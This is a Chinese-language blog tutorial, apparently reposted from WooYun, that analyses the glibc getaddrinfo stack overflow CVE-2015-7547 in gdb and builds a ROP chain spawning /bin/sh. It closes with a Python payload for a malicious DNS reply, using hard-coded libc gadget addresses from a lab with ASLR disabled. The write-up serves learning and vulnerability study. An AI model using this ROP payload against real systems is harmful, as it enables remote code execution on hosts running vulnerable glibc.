作者 MiCi 2016-06-27 10:14:00
被查看了2030次 , 本文转载自:乌云知识库

CVE-2015-7547分析及利用

0x00 前言

这段时间一直在学习Linux漏洞攻防,看了很多大神的文章,比如蒸米大神在drops发表的系列,还有google到的一些paper等,受益匪浅。这里也给其它对Pwn感兴趣的同学推荐《海枫的专栏》,是我的一位大腿学长推荐给我入门用的,非常nice!

当然了对于我这种Pwn新手来说,光看大神的文章是不够的,在看了k0师傅还有知识库上mrh大神的7547调试后,自己尝试动手去调试7547这个洞,才更深刻明白这个洞的成因及原理,同时为了给ROP技能加技能点,也尝试对CVE-2015-7547这个洞自己编写EXP去完成简单利用。

本文分两部分,第一部分写在编写exp之前如何劫持EIP,对栈空间布局的摸索。第二部分介详细绍在这个漏洞下如何编写ROP链来打开一个shell。

第一次在乌云投稿,仍有很多不足之处,还请各位大牛们多多批评指点!!!

0x01 分析

这个漏洞分析及如何搭建测试环境k0师傅在seebug上以及mrh大神在drops的文章都写的非常详细,在下面参考中附上了原文地址。我就站在巨人的肩膀上写一些自己在7547分析上的一些环节。本文的重点是后续如何去编写列用exp,为了编写exp在调试中需要弄清楚很多事情,包括劫持eip的位置,栈空间布局等。下面我们就一一道来。

1.寻找漏洞触发点

谷歌给的POC很长,运行POC后gdb调试,追寻漏洞出发点。

根据漏洞触发流程,在阅读源代码后,我们分别对以下函数下断

#!bash
$b _nss_dns_gethostbyname4_r (/opt/glibc-2.20/resolv/res_dns/dns-host.c)
$b __libc_res_nsearch (/opt/glibc-2.20/resolv/res_query.c)
$b __libc_res_nquery (/opt/glibc-2,20/resolv/res_query.c)
$b __libc_res_nsend (/opt/glibc-2,20/resolv/res_send.c)
$b send_vc (/opt/glibc-2,20/resolv/res_send.c)

后面是源码位置,方便大家阅读。

在send_vc停下后,我们用bt看下调用栈:

pic1

一切正常,finish完成此函数,发现poc窗口发送了请求,同时再看栈段发现

pic2

pic3

在send_vc源码中,主要问题出现在这里

pic4

pic5

结束send_vc后,通过单步调试n,锁定在nquery中这几行的

pic6

我们知道了第二次POC发送的数据才是造成溢出的关键所在,google的验证POC中第二次发送的数据加上了2300个B,也就是我们后续编写利用exp大施拳脚的地方

pic7

2.寻找可被劫持的EIPEIP位置

我们知道,想劫持程序流程就要去劫持EIP,劫持EIP就要找ret。所以我们首先要弄清整个的栈布局。

我们在gethostbyname4_r函数中运行完分配空间这行代码后

pic8

直接打印这个变量

pic9

这个就是我们2300个B的所在的起始位置,我们溢出后来看一下

pic10

这也就是我们的栈顶,那么返回地址在哪儿呢?只要在gethostbyname4_r中在分配这2048之前打印下esp就知道啦

pic11

剪头指向的就是我们要劫持的EIP处。

目前已知的栈空间如下

pic12

中间那堆????是否要弄清,我们来做个试验,发送小于(2048 + 108 )2156 个B,在不覆盖Ret的情况下,程序能继续执行吗?

修改poc,发送2150个B,run

pic13

发型程序并没有继续中断,这说明栈空间中的“????”区域还是有要用的参数的,这个大坑就需要慢慢来填了………

这里有一点要注意,我们上面这个图中栈的地址是gdb调试环境,和真实环境是不一样的,但是栈的布局和真实环境是一样的,所以我们只需要在真实环境下看下dump下来的core文件找到栈头的起始地址,再根据差值计算其他的就可以了。

pic14

发现真实环境下的栈顶为0xbfffe240,与gdb下的0xbfffe220差了0x20。

继续去探查栈空间

3.摸清栈空间

我们可以看到停在这一行

pic15

再看nquery源代码可发现

pic16

此处有对hp和hp2的非零校验,

我们现在要找到hp和hp2所处的位置以及它们的值,finish完send_vc后,单步调试执行到assert这个语句把两个变量都打印出来

pic17

这时候我们在栈空间中去寻找

pic18

以此发现它们分别存在于0xbfffea68以及0xbfffea6c处。

以此我们可以用bfffea68减去bfffe220就可推算出和栈顶的偏移量,现在我们重新构造POC,将该位置处的hp和hp2的值就赋在上面

但依然退出未继续执行,还得继续探寻这段栈空间。

我们在gethostbyname4_r源码中可以看到

pic19

这段代码用来检测是否在整个函数执行过程中,申请了新的栈空间。根据源代码以及调试过程,这个ans2p就是我们之前的hp2,这个在通过了之前的nquery中的非零验证,但此处的free依然会出错,所以我们不能让if(ans2p_malloced)这个条件成立,那么我们就要找这个ans2p_malloced是存在什么位置的,并把它置0.

看源代码

pic20

在看源代码的时候看到之前下断点的函数的参数就有ans2p_malloced等,我们只要在函数暂停的时候直接看它传进去的参数就好。再次修改POC为正常,然后调试

pic21

可以很清楚的看到gdb调试态下,ans2p_malloced以及其它参数在栈中的地址。

说到这儿就有点乱了,现在我们再来画出我们的栈结构,以方便各位看管参阅:

pic22

根据栈布局我们再次修改POC,然后run

pic23

然后但是此时host_buffer到ret这段栈空间我们还没有摸清,是否可以直接覆盖掉呢?我们先尝试用B覆盖掉看看能不能正常执行,修改POC,run

pic24

依然报错,看来这段地址上的参数还是有用的,继续在正常情况下查看栈中这些值都是什么。

pic25

分别指出了hp和ret中间的这些参数。虽然不全知道这7个数都是干啥的(最后一个是ebp),但是直接把他们加进POC。发现程序可正常运行=。=

pic26

其实后面还有一个坑:(我们在后面exp编写的时候再说

0x02 exp编写

  • 现在我们的栈空间是这样的

pic27

同时看下我们开启的防护

pic28

由于能力有限,不知道怎么泄露基址,所以没有开启ASLR,通过ROP的方式绕过DEP,写这条ROP链非常有意思,碰上了件很神奇的事,完全无法解释,但索性想了个法子给绕过去了:)

下面我们开始年轻人的ROP链编写

1.Shellcode写啥

很简单,我们就是要在劫持程序流程后执行这么一条命令“execve(“/bin/sh”,argv_rc, envp_rc)”

其中后面两个参数都为0即可。

在执行这条系统调用的时候,我们要知道Linux把这几个参数分别存在ebx, ecx, edx。所以我们构造这样的栈环境,在int 0x80时:

  • Ebx: “/bin/sh”的地址
  • Ecx: “argv_rc”的指针
  • Edx: “envp_rc”的指针

同时我们要知道execve()的系统调用号

pic29

要吧eax的值为11也就是0xb。

所以我们的ROP链将围绕设定上述环境展开!

2.ROP链编写

在编写ROP链之前我们先要查看程序都调用了哪些库,他们的起始地址是多少

#!bash
$ps -aux | grep client
$cat /proc/xxxx/maps

Xxxx就是PID,我们选择libc-2.20.so和ld-2.21.so

pic30

它们可执行段的起始地址分别是b7e37000和b7fdc000。

首先我们将把“/bin/sh”写入一个可读地址,这里要注意一点,因为”/bin”就一定达到4字节,所以要把它们分开写到两个连续的4字节地址,同时“/sh”中有00,会截断后面的语句,所以我们把它换成等效的“//sh”。

找一个可读段,“.data”段当然是我们的不二之选

pic31

.data的起始地址:0x0804a028就非常合适,+4以及+8都不存在00。

所以我们构造如下语句:

#!bash
pop ecx; pop eax; ret;
/bin
0x0804a028
mov [eax],ecx; ret;
pop ecx; pop eax; ret;
//sh
0x0804a02c
mov [eax],ecx; ret;

我们使用自动化ROPgadgets搜索工具ropeme搜索我们想要的指令,打开ropshell,先用generate分析libc-2.20.so这个库

pic32

然后直接search我们需要的gadgets

pic33

每一条指令前面的是其在库中的偏移地址,通过之前记录的libc的基地址加上偏移地址,算出真实地址。就不一条条演示了,熟练使用calc:)

然后就是把ecx和edx赋值,由于之前我们在.data~.data+4存了我们的“/bin//sh”,我们可以看看.data+8地址上是啥:

pic34

非常完美,于是我们编写如下语句

#!bash
pop ecx; pop edx; ret;
0x0804a030
0x0804a030

然后把“/bin//sh”的地址传入ebx

#!bash
pop ebx; pop edx; ret;
0x0804a028
0x0804a030

由于我搜到的是ebx和edx连着pop,要是能搜到只pop ebx的当然也很好!

环境已经调的差不多了,最后开启系统调用,语句如下

#!bash
xor eax,eax; ret;
add eax,0xb; ret;
int 0x80; ret;

到此为止我们的shellcode为:

#!bash
pop ecx; pop eax; ret;
/bin
0x0804a028
mov [eax],ecx; ret;
pop ecx; pop eax; ret;
//sh
0x0804a02c
mov [eax],ecx; ret;
pop ecx; pop edx; ret;
0x0804a030
0x0804a030
pop ebx; pop edx; ret;
0x0804a028
0x0804a030
xor eax,eax; ret;
add eax,0xb; ret;
int 0x80; ret;

我们通过ropeme计算出他们的地址后,写入POC测试:

pic35

发现问题,程序流程为成功劫持。

Bt查看回溯,发现在gaih_getanswer处的几个参数怎么是我们的rop中的语句呢

pic36

我们这几条语句都被当做参数传了

pic37

我们再次修改POC为正常,再次调试程序

pic38

我们正确执行这行之后,查看栈中参数

pic39

我们从EIP位置往后数7个,这7个参数会被传入gaih_getanswer,所以在ret地址之后的栈空间布局如下:

pic40

现在栈空间布局就非常明了了,再看源代码

pic41

为了跳过这7个参数,我想到的版发是在原来Ret addr位置中的指令直接去修改esp

#!bash
add esp,0x1c; ret;

好了,再度修改POC,run

pic42

终于,程序执行到了我们的ROP! 但是此处要注意,在本该是传“//sh”的位置,却传的是‘.’,刚开始以为是peda的错,后来尝试修改POC中的//sh为其他,都是这个“.”,完全不知道为什么,直到最后系统调用时依然如此

pic43

这个坑坑了我半天……最后多次调试后发现只有在第一次传字符串后的第4行指令处出现问题,到现在依然不知道为什么出现这么奇葩的栈环境,最后自己无奈想了个法子,把原来的ROP变成了以下这种方式,成功绕过=。=

#!bash
pop ecx; pop eax; ret;
/bin
0x0804a028
mov [eax],ecx; ret;
pop eax; ret
/bin
pop ecx; pop eax; ret;
//sh
0x0804a02c
mov [eax],ecx; ret;

最终修改POC如下

#!python
if data2:
      data = ''
      data += dw(id2)
      data += 'B' * (2106)
      data += dw(0) * 2
      data += 'B' *(8)
      data += struct.pack('<I',0xbfffe220)
      data += struct.pack('<I',0x0804c3a8)
      data += struct.pack('<I',0x00000004)
      data += struct.pack('<I',0xbfffea70)
      data += struct.pack('<I',0Xb7f8351a)
      data += struct.pack('<I',0xb7fd3000)
      data += struct.pack('<I',0xb7e24314)
      data += struct.pack('<I',0x00000420)
      data += struct.pack('<I',0xbfffefd8)

      data += struct.pack('<I',0xb7e4e667)

      data += struct.pack('<I',0x08048653)
      data += struct.pack('<I',0xbfffefc8)
      data += struct.pack('<I',0xbfffeac0)
      data += struct.pack('<I',0x00000420)
      data += struct.pack('<I',0xbfffefc4)
      data += struct.pack('<I',0xbfffefb0)
      data += struct.pack('<I',0x00000000)

      data += struct.pack('<I',0xb7f18d91)
      data += '/bin'
      data += struct.pack('<I',0x0804a028)
      data += struct.pack('<I',0xb7e6023f)
      data += struct.pack("<I",0xb7e59848)
      data += '/bin'
      data += struct.pack('<I',0xb7f18d91)
      data += '//sh'
      data += struct.pack('<I',0x0804a02C)
      data += struct.pack('<I',0xb7e6023f)

      data += struct.pack('<I',0xb7e6099b)
      data += struct.pack('<I',0x0804a030)
      data += struct.pack('<I',0x0804a030)

      data += struct.pack('<I',0xb7f20f0a)
      data += struct.pack('<I',0x0804a028)
      data += struct.pack('<I',0x0804a030)

      data += struct.pack('<I',0xb7eaa424)
      data += struct.pack('<I',0xb7f66756)
      data += struct.pack('<I',0xb7fdca70)

运行效果:

pic44

完成

由于我是今年年初才开始接触二进制,还在不断学习中,和诸多大牛还差的很远,感谢k0师傅对我的指点,下一步要尝试调一个堆相关的CVE以及x64下的调试:)

继续努力ing!

0x03 参考

  1. glibc _getaddrinfo栈缓冲区溢出漏洞(CVE-2015-7547)
  2. CVE-2015-7547简单分析与调试
  3. CVE-2015-7547的漏洞分析
  4. ROP构造

本文转载自:乌云知识库